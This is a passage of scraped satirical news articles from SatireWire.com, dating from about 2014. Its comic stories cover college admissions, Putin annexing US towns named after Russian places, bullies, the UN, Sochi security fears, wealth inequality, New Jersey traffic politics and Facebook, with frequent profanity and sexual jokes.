VIRGINIA TECH “We don’t rely on rituals or costumes or any of that nonsense,” says Virginia Tech admissions officer Jacquela Dennison. “We look exclusively at test scores, outside activities, and high school GPA. Especially we look at your 10th grade geometry grade; particularly the pop quiz on angle bisection you took during the sixth week of class; specifically you needed to get an 87. Without doing the extra credit question. You needed to leave that blank.” UNIVERSITY OF TEXAS One of the largest universities in the country, the University of Texas is inundated with applications. Like Virginia Tech, they don’t rely on some unfathomable, arcane ritual to pick their freshman class. Instead, they plow through mountains of forms to choose those who meet their standards for grades, scores, and activities. As for how they manage this Herculean task, admissions officer Kevin Blaney explains: “We get 35,000 applications a year,” Blaney says. “Obviously we say we look at all of them, but then again, obviously, that’s not physically possible. We don’t have the manpower. But what we do have is bull testicles. Not personally. What I mean is, we have access to a collection of bull testicles, acquired over the years from our Longhorn mascots. The admissions officers at the University of Texas themselves do not have bull testicles. I don’t know how that rumor got started. The secret of UT's admissions process “Anyway, the bull testicles have magic powers, enabling us to each do the work of 10 men, or women, and get the job done. All we have to do is, at the beginning of the admissions process, in early Fall, we all get together and rub the bull testicles on our foreheads. Naked. We also have to be naked when we do this, that’s according to our admissions director, Mr. Hartswell, who is well versed in these things. So, we all gather naked in the pool – did I mention we stand at the shallow end of an Olympic swimming pool filled with crude oil? – and we rub the bull testicles on our heads, and then the strobe lights come on. That’s part of the magic. And then Mr. Hartswell, who’s sitting up in the lifeguard chair, pushes a button and 7,000 pounds of chicken feathers floats down on us. “And right then, the magic is released, and for the next six months we’re each able to do incredible work and get through all the applications.” Is it possible that your admissions director is just messing with you about the bull testicles, that you could do the work anyway? “I really resent that implication,” says Blaney. “Fortunately for you, I have the restraint of 10 men thanks to my Longhorn balls.” AUBURN UNIVERSITY “We just admit everyone and hope some of them enroll by accident,” says a woman who answers the phone in the admissions department. © 2014 SatireWire.com Related Tags: class of 2018, college admissions, college applications Previous Topic: RUSSIA TO ANNEX ST. PETERSBURG, FLA. Next Topic: SPOILER ALERT: UN REPORT RUINS END OF GLOBAL WARMING DRAMA"], ['no-topic', 'RUSSIA TO ANNEX ST. PETERSBURG, FLA.', 'MOSCOW (SatireWire.com) — After claiming the right to seize Crimea because of its Russian heritage, President Vladimir Putin announced today he will also have to annex St. Petersburg, Fla., Moscow, Idaho, Odessa, Texas, Siberia, Ind., and the Russian River Valley in California. Putin on warm, sunny St. Petersburg: “I will come there and take my shirt off. You will all swoon.” Residents of the central Florida city expressed outrage and vowed never to become part of Russia, but Putin said he has no choice. “What can I do? It is a fact that St. Petersburg was founded by a Russian and named for the Russian city of his birth,” said Putin. “It has existed now for 126 years and in all that time they never changed the name. Why? Because like all things truly Russian, it longs for the Mother Country.” As for the other U.S. locations in his sights, Putin insisted he has a duty to protect Russians everywhere. “The Russian River Valley is not called the ‘American River Valley,’ is it? So we must assume it is Russian,” the President said. “Odessa is named for the city in Ukraine — which as you know I also call ‘Russia’ — and Moscow, Idaho — do I even need to explain that one?” Putin said the decision to annex these places is not final and indicated he is willing to negotiate, but in a sharply worded phone call with his Russian counterpart, President Obama refused. OBAMA: Vladimir, you cannot just claim a city in Florida. PUTIN: What is the problem? For us it is just like Crimea. OBAMA: It is not like Crimea. It was never once part of your country. There are very few ethnic Russians to protect. It doesn’t have historical and cultural ties to Russia. The majority of the population does not want to join Russia!” PUTIN: OK, calm down. Perhaps you are right. It is not like Crimea. OBAMA: Not even close. PUTIN: So you can keep your St. Petersburg. OBAMA: Fine. PUTIN: And California. OBAMA: Fine. PUTIN: And Idaho. OBAMA: Fine. PUTIN: We’ll just take Crimea. OBAMA: Fine. PUTIN: Nice talking to you. OBAMA: Nice talking to… wait. What just happened? © 2014, SatireWire.com Related Tags: annex, crimea, florida, putin, russia Previous Topic: WORLD LEADERS STAND UP TO PUTIN IN THEIR MINDS Next Topic: INSIDE THE INSIDE THE INSIDE OF THE COLLEGE ADMISSIONS PROCESS'], ['no-topic', 'WORLD LEADERS STAND UP TO PUTIN IN THEIR MINDS', 'KIEV, UKRAINE (SatireWire.com) — Leaders from Europe and the United States today declared time was up on Russian President Vladimir Putin and vowed to thwart his invasion of Crimea by taking bold and decisive action in their minds. At EU headquarters in Brussels, ministers are shouting so loudly in their heads you can hear it. “Putin only understands force, and we therefore have no choice but to respond with force,” U.S. Secretary of State John Kerry thought moments before meeting with Sergei Lavrov, Russia’s Foreign Minister. “Lavrov, you have 24 hours to get your troops out of Crimea or it’s war,” Kerry said to himself in the mirror before going out and saying nothing of the kind. In Washington, President Barack Obama unveiled some measured sanctions against Russia, but mentally ordered the Joint Chiefs of Staff to unleash its might. “I hereby authorize the Atlantic fleet to strike Russian bases in Crimea and cripple Russian missile batteries on the border with Eastern Ukraine, after which we will send in ground troops to remove the Russian menace,” Obama told his top brass, after which he imagined Senate thorn John McCain shouting, “You go girl!” European leaders were no less internally outspoken as they visualized putting self-interest aside and finally defying the Kremlin. “As each day passes, Russia tightens its grip on Crimea. We cannot wait. We must act now, and with force!” German Chancellor Angela Merkel said aloud, although not so loud that anyone could hear. Her daring words were echoed by British Prime Minister David Cameron, who in every sense but actual vowed to move boldly. “President Putin has defied international law and we must make show him the West is strong,” Cameron told himself while chomping on an imaginary cigar in what he hoped was a Churchillian way. In Moscow, meanwhile, Putin pictured himself saying the most outrageous, incendiary and ridiculous things, and then went ahead and said them. © 2014, SatireWire.com Related Tags: crimea, putin, russia, ukraine Previous Topic: CRIMEA THREAT A GOD-SEND FOR H.S. TEACHER’S CRIMEAN WAR UNIT Next Topic: RUSSIA TO ANNEX ST. PETERSBURG, FLA.'], ['no-topic', 'CRIMEA THREAT A GOD-SEND FOR H.S. TEACHER’S CRIMEAN WAR UNIT', 'ST. LOUIS, MO (SatireWire.com) — Russia’s incursion into Crimea and the threat of impending bloodshed could not come at a better time, said excited high school history teacher Luis Salgado, who is about to go over the 19th century Crimean War with his usually disinterested sophomore class. "When we get to the Cold War, I might be able to teach my kids about \'duck and cover\' for real," Salgado gushed. “This Russian aggression is a Godsend,” said Salgado. “Every year I tell my students that the Crimean War was fought from 1854 to 1856 between the Russians and Britain and France and the Ottomans and bla-bla-bla I’ve already lost their attention. Well, just when I’m about to go through it again, boom, the Russians come to the rescue. It’s like (Russian President Vladimir) Putin isn’t just protecting ethnic Russians, he’s looking out for me, too.” Salgado said he, for one, is hoping a diplomatic solution doesn’t arise before next Wednesday, when he will finish the four-day unit on the Crimean War. While he does not foresee Western involvement in armed combat, Salgado admitted it wouldn’t hurt. “Imagine the possibilities. Maybe this thing blows up. Maybe we actually go to war with Russia and send U.S. troops to Crimea,” he said. “Some of the kids in my classroom could be wind up getting shot at. That should get their attention. Not all of them, admittedly. Some kids you can never reach.” Following the unit on Crimea, Salgado said he will begin a two-day unit on the Austro-Prussian War of 1866, a task he said would be made much easier if Germany invades Austria in the next week or so. © 2014, SatireWire.com Related Tags: crimea, crimean war, putin Previous Topic: NATION’S BULLIES DELIGHTED BY LONG-TERM IMPACT OF BULLYING Next Topic: WORLD LEADERS STAND UP TO PUTIN IN THEIR MINDS'], ['no-topic', 'NATION’S BULLIES DELIGHTED BY LONG-TERM IMPACT OF BULLYING', 'BOSTON (SatireWire.com) — A heartbreaking new study that shows victims of childhood bullying can suffer long-term mental and physical health problems is, “friggin’ awesome,” the nation’s bullies said today. Knowing he makes a difference, Philadelphia teenager Rory Gallagher said he is seriously considering making bullying a career choice. Published in the journal Pediatrics, the study revealed that teens who were bullied in the past tend to have a lower quality of life, lower self-esteem, and more difficulty with physical activities like walking or playing sports – results that bullies said was like being told what a wonderful job they’re doing. “Discovering I have, not just an immediate negative impact on someone’s life, but a long-term negative impact on someone’s life, is really validating,” said 16-year-old high school bully Tanya Parker of Hollywood, Fla. “And because the effect lingers, it’s especially gratifying to know that my bullying is working, even when I’m not.” “I don’t have the time-management skills to properly follow-up on my victims, so I really appreciate these researchers doing it for me,” added 14-year-old bully Rory Garber of Philadelphia. “Based on the data, I anticipate I’ll be able to expand my victim pool now that I know the efficacy of my endeavors.” Researchers at Boston Children’s Hospital, where the study was based, said they hope the findings will be used to stop the epidemic of persecution. Bullies, however, said they were confused by that claim. “Wait, they think the way to stop bullying is to tell bullies that they’re making victims, not just miserable, but really, really miserable?” said Jake Zweeg, a 12-year-old middle school terror in suburban Chicago. “Seriously? Are you sure about that? Because it sounds more like they’re trying to motivate us.” Even retired bullies said the study was an endorsement of their violent lifestyle. “When I was in high school, my dad always said, ‘Son, you need to make a difference in this world,’ and obviously I have,” said Ralph Ippolito, a 32-year-old security guard in Camden, N.J. “I can’t wait to see the look on his face when I pin him to the ground, twist his nipples and tell him the news.” © 2014 SatireWire.com Related Tags: bullies, bullying, impact of bullying, stop bullying Previous Topic: U.N. REPORT CONCLUDES SOMEBODY SHOULD DO SOMETHING Next Topic: CRIMEA THREAT A GOD-SEND FOR H.S. TEACHER’S CRIMEAN WAR UNIT'], ['no-topic', 'U.N. REPORT CONCLUDES SOMEBODY SHOULD DO SOMETHING', 'NEW YORK, N.Y. (SatireWire.com) – A bold and exhaustive United Nations report on the deteriorating state of the world has concluded that somebody should do something. Speaking to the U.N. General Assembly, special investigator Hans Tremmel said the overwhelming evidence of global suffering left him no choice but to bluntly declare that someone needs to take definitive steps and specific actions. A meeting of the U.N. members that have decided to do something. “Things should not be as they are and it’s time for somebody to do something,” Tremmel told U.N. members. “And what that somebody should do is something — and I can’t stress this enough — about it.” “He’s right,” said the U.S. “Absolutely,” said France “Agreed,” said Great Britain. “Of course,” said Russia “Good,” said the U.N. “OK,” said the U.S. “So,” said Great Britain. “Yeah…” said Brazil. “Um…” said India “C’mon!” said the U.N. “Alright,” said Australia “We’re going,” said Russia. “Geez,” said Spain. “Here we go,” said the U.S. “On the way,” said China. “You first,” said Norway. “Right behind you,” said Japan “Then again…” said Turkey. “Good point,” said the U.S. “And what if…?” said France. “There’s that,” said China. “Not to mention…” said Russia. “Naturally,” said Morocco. “I agree,” said Poland. “Gives you pause,” said Germany. “Makes you think,” said Sweden. “Thinking’s good,” said Australia. “Uh-oh,” said France. “What’s up?” said the U.S. “Look at the time,” said Spain. “We’ll miss lunch,” said Brazil. “No good us suffering,” said Russia. “Doesn’t prove a thing,” said Great Britain. “Talk later,” said India. The U.N. report also recommended that if somebody doesn’t do something soon, some kind of effective world body should be established to enable nations to work together and get things done. © 2014, SatireWire.com Related Tags: human rights, kim jong un, north korea, syria, un report, venezuela Previous Topic: GOD: SNOW ONLY SENT TO KEEP ELDER DANCE CLASS FROM MEETING Next Topic: NATION’S BULLIES DELIGHTED BY LONG-TERM IMPACT OF BULLYING'], ['no-topic', 'GOD: SNOW ONLY SENT TO KEEP ELDER DANCE CLASS FROM MEETING', 'SPARTA, N.J. (SatireWire.com) — The frequent snowstorms that have shut down much of the Eastern U.S. this winter are not the result of climate change or coincidence, but were specifically sent to cancel the Sparta, N.J., Community Center’s weekly “Hip-Hop-Til-U-Drop” dance class for seniors, God admitted today. The Almighty apologized for the inconvenience to roughly 100 million Americans, but explained that if you had to watch one of these classes, you’d understand where He was coming from. “First of all, it’s not even dancing. It’s just a hip-fracture waiting to happen,” He said. “It’s a dozen elderly white women in sweatsuits – no thank you — lurching about to Lil Wayne and Biggie and Common. Do I even need to explain why that should never happen? “I’m sorry about all the mess, but if you were Me you would do everything in your power to keep them from meeting, too,” He added. “I swear if you saw it even once, you’d be like, ‘Why has God forsaken me?!’” The Lord conceded He may have made the storms larger than absolutely necessary, but explained that He didn’t want to take any chances. “Technically, I didn’t have to make the snow stretch from Georgia to Maine. It’s just that… look, I’m not against exercise. I’m not against old people. But they were thuggin’ to Tha Streets Iz a Mutha. That’s… no way. Just… no way.” God said His efforts so far have cancelled six of the eight weeknight classes, and warned that He will keep sending snow if dance instructor Tyesha Bould tries to offer makeup lessons. “Seriously Tyesha, I’m sorry you didn’t make it on Broadway. I’m sorry you tore a calf muscle right before that audition for Rent,” He said. “But this is no way to get back at Me.” Even if the hip-hop class doesn’t meet again, the Lord said He sees problems ahead for Sparta, and perhaps much of the U.S. “Tyesha is thinking about a series of elder-disco classes next fall. Disco!” said God, dumbfounded. “I hope you guys are set up for hurricanes.” © 2014, SatireWire.com Related Tags: hip hop, Senior citizens, senior dancing, snowstorm Previous Topic: POLL: 90% OF NFL WOULD LET GAY PLAYER FUCK THEM IF IT MEANS WINS Next Topic: U.N. REPORT CONCLUDES SOMEBODY SHOULD DO SOMETHING'], ['no-topic', 'POLL: 90% OF NFL WOULD LET GAY PLAYER FUCK THEM IF IT MEANS WINS', 'NEW YORK, NY (SatireWire.com) — In a new poll that belies the perception that pro football is homophobic, more 90 percent of NFL players said they would let a gay teammate fuck them if it helped them win the Super Bowl. In the immortal words of NFL legend Vince Lombardi: "Winning isn\'t everything, it\'s the only thing. Now bend over." The survey follows Sunday’s historic announcement by University of Missouri All-American Michael Sam that he is gay. While some have speculated the proclamation will hurt the 6’2?, 260-pound defensive end’s status in the upcoming NFL draft, the poll, and the players, suggest otherwise. “This league isn’t about prejudice or intolerance or discrimination, it’s only about one thing: winning,” said Philadelphia Eagles all-pro lineman Jason Peters. “And if winning means I have to get banged in the behind by a gay teammate who can help us win, then that’s what I’m going to do.” “What matters to us isn’t where you come from or who you love, but can you bring it?” added said New York Giants quarterback Eli Manning. “If this guy can help us get back to the Super Bowl, he can get on my back anytime he wants. But if it’s just the playoffs, I’ll probably stop at oral sex.” Made aware of the poll, Sam insisted he has no interest in sexual relations with any of his prospective teammates, and noted that assuming he does is a form of bigotry in itself. In response, NFL players scoffed. “Yeah well, you know, that’s ridiculous because in the locker room, with us being so naked and all, there’s no way he wouldn’t be eye-balling us,” said Seattle Seahawks cornerback Richard Sherman. “Everybody knows I’m the prettiest cornerback in the league. There’s no way he wouldn’t want a piece of this.” Denver Broncos center Manny Ramirez, meanwhile, said Sam’s strength and quickness might be just what his team needs to return to the championship game and help them forget an embarrassing loss to Seattle. “I’m not saying I’d like it, but if it got me a ring, I’d let him do it,” said Ramirez. “I mean, in the Super Bowl, our whole team got fucked by the Seahawks. It can’t be any worse than that.” © 2014, SatireWire.com Related Tags: gay athletes, michael sam, nfl gay Previous Topic: UNPOPULAR PERSON ADDRESSES EVEN LESS POPULAR COLLEAGUES Next Topic: GOD: SNOW ONLY SENT TO KEEP ELDER DANCE CLASS FROM MEETING'], ['no-topic', 'UNPOPULAR PERSON ADDRESSES EVEN LESS POPULAR COLLEAGUES', 'WASHINGTON, D.C. (SatireWire.com) — Speaking on national television Tuesday night, a generally unpopular person told a large gathering of statistically even less popular people that if they do not agree to help him do popular things he will do them on his own even though one reason they’re all so unpopular is because the unpopular person and the even less popular people can never agree on anything that would make any of them more popular. Addressing the state of the nation, which itself is increasingly unpopular, the generally unpopular person said the statistically even less popular people should work with him to reform unpopular laws that hurt certain segments of the people among whom they are unpopular. He also chided the least popular half of the less popular people for repeatedly attempting to undo things the generally unpopular person has already done; things that, depending on whom you ask, are either mostly popular or wildly unpopular. The even less popular people. In an official response to the generally unpopular person, a relatively popular representative of the least popular half of the even less popular people said the generally unpopular person is unpopular because he insists on doing things that aren’t popular, even though polls show the things the generally unpopular person wants to do would generally be popular, although not, admittedly, among the people for whom the least popular half of the even less popular people are popular. As expected, the relatively popular representative of the least popular half of the even less popular people went on to say several things about the generally unpopular person that were particularly unpopular with the people among whom the generally unpopular person is relatively popular. The evening began when the head of the least popular half of the even less popular people, himself a particularly unpopular shade of orange, introduced the generally unpopular person, after which the generally unpopular person was applauded by all of the even less popular people. During the speech, however, the generally unpopular person said several things that were unpopular with the least popular half of the even less popular people, causing the more popular half of the even less popular people to applaud and the least popular half of the even less popular people to not applaud because appearing to support the generally unpopular person would be quite unpopular among people who support the least popular half of the even less popular people. The most popular moment of the night was when the generally unpopular person pointed out a particularly patriotic person who was injured in an unpopular war started by the generally unpopular person’s even more unpopular predecessor. The particularly patriotic person received sustained popular applause, which was entirely appropriate. In a poll released after the generally unpopular person addressed the even less popular people, a majority of the populace said they still don’t like any of them. '], ['no-topic', 'XANAX NAMED OFFICIAL ANTI-ANXIETAL OF SOCHI OLYMPICS', "SOCHI, RUSSIA (SatireWire.com) – In response to endless travel warnings about suicide bombers, separatist plots and potential catastrophe, Xanax today was named the official anti-anxiety medication of the Sochi Winter Olympics. Pfizer's new Winter Olympics Ad Concurrent with the move, the Russian Olympic Federation said it will drop the Winter Games’ current slogan – “Hot. Cool. Yours.” – and replace it with, “Take a pill. Enjoy the chill.” Xanax-maker Pfizer called the partnership one of the most synergistic in product sponsorship history. “Between the Chechens, the Dagestanis, the jihadi terrorists and the Russian military, Olympic visitors to Sochi will literally be surrounded by hatred, fear, guns and mistrust,” said company spokeswoman Carmela Knox. “Fortunately, they will also be surrounded by the warm envelope of tranquility created when benzodiazepines bind to their gamma-aminobutyric acid receptors.” The company pledged to work in conjunction with the Russians to make the Games at least seem like a success. Specifically, the Russian government has deployed 100,000 security forces around the city to stop the terrorists, while Pfizer will deploy 60,000 kilograms of Xanax to stop visitors from thinking about them. “Your chances of being safe and secure will be greatly enhanced by being vigilant and listening to authorities,” advised Olympic committee spokesman Gregori Kolorov. “But your chances of feeling safe and secure will be greatly enhanced by taking 0.5 mg of benzodiazepine three times daily.” Concern over threats like “black widow” suicide bombers, however, has affected more than just spectators and residents. Many athletes are finding it difficult to focus and have told their families to stay away. Due to the unprecedented the threat, the International Olympic Committee today gave special dispensation to athletes to take the drug, but the results so far have been mixed. “This morning, in training, our luge teams took Xanax before heading down the hill,” said U.S. Women’s coach Jill Flarity. “They forgot their sleds and just slid down the mountain yelling, “’Weeeeee…!’” However, the USA men’s ice hockey team reports that all players can now use the open double toilets in public restrooms without a problem. "], ['no-topic', 'GOD EXPLAINS ABOUT THE KATY PERRY ‘BIG BOOBS’ THING', '“I lay on my back one night and looked down at my feet, and I prayed to God. I said, ‘God, will you please let me have boobs so big that I can’t see my feet when I’m lying down?’ God answered my prayers.” – Katy Perry at age 11, quoted in GQ Editorial By The Lord God Thy God OK, OK, I know. I hear you. Why would I answer Katy Perry’s prayers and ignore the pleas of people who are hungry or homeless or dying? Why would I grant her youthful request to have bigger breasts when instead I could save a child here or a village there? "I may be old. I may be ever-present. But I\'m not dead," sayeth the Lord. It’s a fair question, but in My defense, well, have you seen ‘em? Because if you have, honestly, why are you complaining? You should be impressed. You should be applauding. You should be jumping up and down. Like they do. I mean, you all marvel at the Grand Canyon and you don’t complain about that. So why are you whinging about this? What I bestowed upon her is pretty grand, so just admire it. Think of it as another gift from Me. Mammary from Heaven. Divine Intervavoom. And God said, ‘Let there be headlights!’ That’s right, I just said that. What? I can’t be happy with what I create? Please. You people make beer helmets and think that’s pretty cool. You put water in a bottle and think that’s better. You created Handerpants. So please, don’t criticize what I choose to make. And for the record, it’s not a sexist thing. I also hear the prayers of men who ask to be better endowed, which would be, at last count, all of them. I don’t often answer those prayers. Who has that much time? But fine, yes, arguably I could choose to listen only to the prayers of the sick, the needy and the victims, but all they ever ask for is to not be sick or needy or victimized. Frankly, it’s a bit same-y, a bit omni-mind-numbing. But then along comes a young lady who asks for something different. She doesn’t want food or clothing or safety or shelter. She just wants, in her words, “big boobs.” Well of course I’m going to hear that one. Of course that’s going to pique my interest. Face it, I’m attracted to shiny objects. Look how many stars I’ve made. And by that I mean real stars, not “celebrities.” Although that does bring up another complaint: that I’m playing favorites with celebrities, giving them physical advantages. Nonsense. First off, I don’t choose what makes them celebrities. You do. Great job with that, by the way. Secondly, Katy wasn’t a celebrity when I decided to answer her prayer. She was 11. Lastly, and most importantly, I may be a lot of things — OK, technically ‘everything’ — but I am not unfair. Never doubt that everything is in balance. Never doubt that whenever I open a window, somewhere I close a door. Katy’s a perfect example. Yes, I answered her prayer, but do you know who I have her dating? John Mayer. That’s right. She’s got big breasts, but she’s in love with an asshole. So quit griping. '], ['no-topic', 'WORLD’S RICHEST 85 INSULTED BY COMPARISON TO WORLD’S POOR HALF', 'LONDON (SatireWire.com) — A new report claiming the 85 richest people on Earth have the same wealth as the entire bottom half of the world’s population has caused outrage among the top 85, who insist the measurement is misleading because their stuff is much nicer. Mukesh Ambani’s home in Mumbai is valued at $1 billion. By his calculations, the world’s poor have enough money to buy 1,700 of these. “You simply can’t compare what we have with what they have and say it’s the same,” argued Australian mining heiress Georgina Rinehart (net worth $17 billion). “I mean, if you’re saying 1,000 of their little shacks are worth the same as my vacation home on Majorca, I want to know who did the appraisals.” “Exactly. It’s about quality, not quantity,” added Russian steel magnate Alisher Usmanov ($17.6 billion). “If what we have is really equal to what they have, then we could happily trade places with them. But we don’t. And we’re not going to.” “But if we did the first thing we’d do is hire a decorator,” said Rinehart. The study on wealth inequality, by British humanitarian group Oxfam, concluded that the poorest 3.5 billion people on the planet have about $1.7 trillion in assets – the same amount owned by the richest 85 individuals. Oxfam Executive Director Winnie Byanyima called it “staggering” that half the world’s population own no more than a “tiny elite who could all fit comfortably on a double-decker bus.” In response, U.S. business mogul Charles Koch ($34 billion) said he was staggered as well. “She thinks we would ride on a bus?” he said. “And ‘comfortably’? Please.” Oxfam’s Byanyima, however, insisted the world’s wealthy have missed the point. “They have to ride on buses, or take bicycles or walk, if they’re luck enough to own shoes,” she said. “They simply don’t have the money because the rich are taking it all.” “Excuse me, but I thought you said they have the same as us — $1.7 trillion,” responded Indian petrochemical magnate Mukesh Ambani ($21.5 billion). “I certainly think you can buy shoes with that. Mine are only $2,000.” '], ['no-topic', 'MAN HAILED FOR NOT SHOOTING ANYONE', 'COLUMBIA, MO. (SatireWire.com) — A local man is being hailed as a hero today for not shooting anyone despite living in an area with a shopping mall, two schools, a movie theater, an IRS office and a former workplace. No one was shot here, despite this being a mall. Officials said the man, whose name they are withholding, also resides near several churches, a major university, a grocery store, an airport and City Hall, yet has somehow not opened fire. “There are a lot of people in this city who are alive today because this man chose not to shoot at them, even though he wouldn’t have had to go far to find a place do it,” said Columbia Deputy Mayor Franklin Smart. “On behalf of everyone, we thank him and hope others follow his lead by also not shooting people.” Smart said the man’s restraint was particularly notable given not only the proximity of such targets, but because he “clearly could” go on a killing spree given that his profile fits the shooter archetype: he drinks alcohol, likes video games, watches action movies, dislikes paying taxes, distrusts government, is sometimes frustrated at work and, most tellingly, is both male and American.. “Obviously, on paper, he should have shot up something by now,” said Smart. “I mean, the man has been approached by strangers. He has seen teenagers walking in his neighborhood. He was even stuck at a traffic light behind a woman who was texting while driving!” That he didn’t turn violent in these moments is a testament to the man’s character, said his boss, Kelly Wilmington. “One day I got on his case for turning in a report late, and I almost immediately regretted it,” she said. “When he left my office, I remember thinking, ‘Well, this is it. There’s a gun shop just down the street. He’s probably in there right now buying a .38.’” But the man didn’t shoot his boss or any of his co-workers. Instead, he later apologized to Wilmington and even brought her a coffee. What causes him to hold back? Speaking from his home, where he has never shot a family member despite the occasional disagreement, the man credited his discipline to “not really thinking about hurting anyone, at least not with a gun. Jesus.” Smart said he hopes the man continues to not shoot, and to that end he said Columbia will do its part by demolishing the city’s malls, schools, theaters, government buildings, hospitals, public transportation, businesses, private homes and apartments. '], ['no-topic', 'AND NOW YOUR NEW JERSEY RETALIATORY TRAFFIC REPORT', 'BILL: And that’s the weather. Now your New Jersey Retaliatory Traffic Report from Gus Brandt up in Traffic Copter 7. Gus? GUS: Thanks Bill let’s get to it. In Woodbridge we’ve got heavy delays at the 1 and 9 merge due to lane closures caused by state Sen. Joe Vitale’s opposition to Governor Christie’s budget, and in Rahway we have a 5-mile backup on the Garden State Parkway approaching the Carteret tolls due to Carteret Mayor Dan Reiman’s decision to endorse the Governor’s opponent last November. In Weehawken we’re seeing a 50-minute delay at the Lincoln Tunnel eastbound — 25 minutes of which is due to construction in the South Tube, and the other 25 minutes due to a Hudson County legislator who publicly disagreed with the Governor on low income fuel subsidies. On the New Jersey Turnpike northbound, restroom facilities in the Walt Whitman Service Area in Cherry Hill are unavailable due to Mayor Chuck Cahn’s refusal to support the nomination of the Governor’s cousin to the local water authority board. Services on the southbound side are scheduled to close at midnight assuming the Mayor continues to be an asshole about it. Over in Trenton, the Route 29 southbound ramps to Market Street and Memorial Drive will be closed until Mayor Tony Mack stops complaining to the Governor about getting money to hire police officers. An accident has closed two lanes on New Jersey Turnpike southbound at the toll plaza in Florence, and state police say more “accidents” can be expected as long as State Assemblyman Troy Singleton keeps giving the Governor problems about education spending. To avoid the backup, motorists are urged to use Route 130 or vote in a new assemblyman. Delays on the Franklin Turnpike and 287 in Ramsey have eased considerably since Mayor Chris Botta said he believes the Governor is innocent in the Bridgegate scandal, while in Passaic County a traffic study at the Route 46 interchange with 80 has been cancelled as a thank you to Lou at Little Falls’ Big & Tall shop for staying open late last Thursday to accommodate the Governor’s schedule. Route 1 in Edison, however, is closed at Plainfield Avenue and traffic is backed up all the way to Ryder Lane in New Brunswick because that area has too many Democrats. Coming into the City we have only minor delays on the George Washington Bridge both levels as the Governor really doesn’t want to get into it with Fort Lee again, but the Lincoln Tunnel is jammed all the way back to Rutherford Avenue due to the Governor being overcharged for a bagel at a coffee shop that used to be somewhere around there. Lastly, the Path trains are running on time unless you’re in Hoboken in which case the eastbound platform is closed until further notice. If you want to know why, ask Mayor Dawn Zimmer. '], ['no-topic', 'COLORADO GIGGLING FOR MORE THAN A WEEK NOW', 'DENVER (SatireWire.com) – More than one week after officially legalizing marijuana, Colorado insisted today it was “totally in control,” although the state conceded it has been giggling nonstop since Thursday and may have eaten half of Nebraska during a munchie run. Colorado as seen from space. “OK, I may, at some point between last night and… last night… gotten hungry and eaten your Nebraska. Mmm sorry,” Colorado said slowly. “But in my defense, I’m pretty faded. And my mouth is like cotton. And I don’t remember where I put Aspen. And I seriously want to fuck Missouri right now. But other than that, it’s like … I’m good.” Since becoming the first state to legalize marijuana sales on New Year’s Day, observers say Colorado is exhibiting numerous symptoms of a marijuana binge, including uncontrollable laughter, impulsive appetite, ardent philosophizing, paranoia, and increased sexual desire. In response, Colorado said ‘symptoms’ is a funny word. “Symptoms. Symptims-sympetems-simpesims… God I love The Simpsons. Marge’s hair is soooo blue.” Colorado paused to stare at the sky before continuing, four hours later. “No no no, you don’t understand,” it said. “Jesus and Peyton Manning are the same person. That’s what I’m talking about. But the government doesn’t want you to know that. Because of 9/11.” “9/11 is not funny, by the way. Do not laugh about 9/11,” Colorado reminded itself, stifling a giggle. “Why can’t I stop laughing? Something is wrong with me! What’s wrong with me?! “Oh. Yeah,” it said, suddenly remembering. Meanwhile, federal health officials have expressed concern, particularly since this morning, when the state was found naked on a Utah mountaintop convinced it had found a wolf that could howl like Bradley from Sublime. By this afternoon, however, the entire state had settled in to watch a “Dexter” marathon on DVD and was laughing at all the sad parts. '], ['no-topic', 'AGING FACEBOOK ORDERS TEENS TO USE FACEBOOK OR ELSE', 'MENLO PARK, CA (SatireWire.com) — A new study claiming Facebook is increasingly for parents and is ‘basically dead’ to teenagers has infuriated the social media giant, which argued it is still hip and cool and demanded young members stay on Facebook or else. "Get back on Facebook and stay there. I don\'t expect to have to tell you again," says Facebook. The study, from University College London, said young users are switching to sites like Twitter and Snapchat in large part because their parents are on Facebook. In response, Facebook broadcast a post to all its users between ages 13 and 19 insisting it’s “nothing like” your parents. “Parents are all, like, ‘Who are you talking to?’ and ‘Where are you going?’” wrote Facebook. “But we understand you kids want independence. We’re totally cool with you hanging out on other sites until 11 p.m. on weekends or 9 p.m. on school nights provided your homework is done.” The networking site added that if teens knew what was good for them, they would appreciate what friending their parents means. “You’re lucky to have parents that love you and want to know what you’re up to!” Facebook admonished. “What, is love now uncool? Who told you that? Probably Miley Cyrus. Or one of those horrible electronic dance bands playing what you call ‘music.’” However, Facebook users like Lisa Telemry, 17, of Sausalito, said they have no choice but to leave. “Having my parents on Facebook just ruins it,” Telemry posted on her Twitter account. “It’s like Facebook is keeping an eye on me. I’m too old to have a babysitter.” “That’s ridiculous,” Facebook tweeted back. “But if you take one step out that door, we’re telling your mom and dad, do you hear me?” “Forget it. I’m using WhatsApp,” Telemry replied. “Don’t. You. Dare,” Facebook fumed. After Telemry stopped responding, Facebook repeatedly texted her cell phone with the message: “You’re making a big mistake, young lady.” Meanwhile, users like Ben Barton, 15, of Toronto, said snitching to his parents is meaningless because he doesn’t listen to them anyway. In response, Facebook got into a flame war with the Canadian teen. “Facebook is lame, I’m outta here,” Barton wrote as a last message on his Facebook page. “You come back this instant, or else!” Facebook replied. “Or else what?” said Barton. “Or else… we don’t know what. But something,” Facebook answered. “Count on it mister.” Another new study, by the Pew Research Center, seemed to confirm that Facebook’s largest growth is primarily among older users, causing Facebook to send out a general plea. “We give you this great platform, we build this whole thing for you, and now you just want to leave us?” it wrote. “Well, that’s appreciation for you. That’s thanks for you. Fine. Go. But in 10 years, guess what? You’ll be moving back in. “Meanwhile, good luck getting into college after we forward them all the profile pics you think you deleted.” '], ['no-topic', 'FAMILY CREDITS CHRISTMAS SPIRIT FOR FEWER “FUCK OFFS” LATELY', 'PHILADELPHIA (SatireWire.com) — The holiday spirit has worked its wondrous ways on the Joleen family of Philadelphia, who report that since Christmas break began, they’re telling each other to fuck off much less often. L-R: Marissa, Mom, Donnie, and Dad (Aiden not pictured) “My husband Richard and I have three teenagers, two from my first marriage and one from his,” explained mother Maria Joleen, 49. “Usually the fuck offs fly thick and fast, in response to anything we say, whether it’s, ‘Good morning sleepyhead’ or ‘What are your plans today?’ or ‘Have you cleaned your room?’ or ‘You haven’t been drinking have you?’ or ‘Where’s the $20 from my wallet?’ or ‘Are you dealing meth out of our house?’” But right before Christmas, the tone eased off, said Richard, 51. “Some of that might be that Maria and I have been drinking a good bit – what between all the parties and just trying to deal with the kids being out of school,” he said. “When we drink, we’re more relaxed. Possibly they have been saying ‘fuck off’ just as much and we’re not noticing. But either way you’d have to say Christmas is the reason.” “I can’t help but think God is playing a role, making us all feel a little warmer toward each other,” added Maria. 